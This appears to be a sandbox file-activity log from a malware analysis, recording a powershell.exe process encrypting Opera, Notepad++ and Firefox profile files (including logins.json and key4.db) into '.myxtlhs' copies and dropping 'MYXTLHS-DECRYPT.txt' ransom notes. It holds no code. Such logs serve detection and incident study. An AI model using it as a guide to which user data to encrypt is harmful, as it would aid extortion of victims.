1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opssl6.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opssl6.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\oprand.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\oprand.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opicacrt6.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opicacrt6.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\operaprefs.ini.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\operaprefs.ini ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcert6.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcert6.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcacrt6.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcacrt6.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\handlers.ini.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\handlers.ini ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\global_history.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\global_history.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\download.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\download.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\cookies4.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\cookies4.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\bookmarks.adr.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\bookmarks.adr ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Zenburn.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Zenburn.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\vim Dark Blue.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\vim Dark Blue.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Vibrant Ink.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Vibrant Ink.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Twilight.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Twilight.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized-light.xml.myxtlhs pgc
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized-light.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Ruby Blue.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Ruby Blue.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Plastic Code Wrap.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Plastic Code Wrap.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Obsidian.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Obsidian.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Navajo.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Navajo.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\MossyLawn.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\MossyLawn.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Monokai.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Monokai.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Mono Industrial.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Mono Industrial.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\khaki.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\HotFudgeSundae.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\khaki.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\HotFudgeSundae.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Hello Kitty.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Hello Kitty.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Deep Black.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Choco.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Choco.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Deep Black.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Black board.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Black board.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Bespin.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Bespin.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\stylers.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\stylers.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\shortcuts.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\shortcuts.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\plugins\config\converter.ini.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\plugins\config\converter.ini ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\langs.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\plugins\config\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\plugins\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\langs.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\functionList.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\functionList.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\contextMenu.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\contextMenu.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\SystemExtensionsDev\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\profiles.ini.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\profiles.ini ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\xulstore.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\xulstore.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\webappsstore.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\webappsstore.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\toFetch\tabs.json.myxtlhs mp3
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\toFetch\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\failed\tabs.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\failed\tabs.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\toFetch\tabs.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\times.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\failed\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\times.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\727688008bsleotcakcliifsittsr%.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\temporary\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\727688008bsleotcakcliifsittsr%.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3899588440psinninpiFn2g%.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\727688008bsleotcakcliifsittsr%.files\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3899588440psinninpiFn2g%.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3899588440psinninpiFn2g%.files\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.files\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3345959086bslnoocdkdlaiFs2t%s.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3345959086bslnoocdkdlaiFs2t%s.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3345959086bslnoocdkdlaiFs2t%s.files\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1725441852bxlfogcFk2l%isst.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\2918063365piupsah.files\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1725441852bxlfogcFk2l%isst.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1725441852bxlfogcFk2l%isst.files\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.waageglarus[1].txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1059394878bslnoicgkullipsFt2s%.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1059394878bslnoicgkullipsFt2s%.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1059394878bslnoicgkullipsFt2s%.files\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata-v2.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata-v2 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\journals\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\1.myxtlhs ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\1 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata-v2.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata-v2 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\journals\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\1 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\1.myxtlhs ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata-v2.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata-v2 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\SiteSecurityServiceState.txt.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\SiteSecurityServiceState.txt ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore-backups\previous.jsonlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore.jsonlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore.jsonlz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore-backups\previous.jsonlz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\saved-telemetry-pings\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionCheckpoints.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\revocations.txt.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\search.json.mozlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore-backups\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionCheckpoints.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\search.json.mozlz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs.js.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pluginreg.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pluginreg.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs.js ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\revocations.txt ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\places.sqlite.myxtlhs ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\places.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\minidumps\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\logins.json.myxtlhs flc
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\permissions.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pkcs11.txt.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pkcs11.txt ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\permissions.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\logins.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\key4.db.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\handlers.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\key4.db ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\handlers.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\LICENSE.txt.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\widevinecdm.dll.sig.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\widevinecdm.dll.lib.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\manifest.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\LICENSE.txt ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\widevinecdm.dll.lib ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\manifest.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\widevinecdm.dll.sig ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\1.4.8.1008\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp\WINNT_x86-msvc\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-gmpopenh264\1.7.1\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-gmpopenh264\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-gmpopenh264\1.7.1\gmpopenh264.info.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-widevinecdm\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\gmp-gmpopenh264\1.7.1\gmpopenh264.info ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\formhistory.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\formhistory.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\favicons.sqlite.myxtlhs ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\favicons.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536511076670.6fb1a61f-96c8-4004-a260-a8d32e45a07f.main.jsonlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\extensions.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\session-state.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\state.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\extensions.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\state.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\session-state.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536511076670.6fb1a61f-96c8-4004-a260-a8d32e45a07f.main.jsonlz4 ––
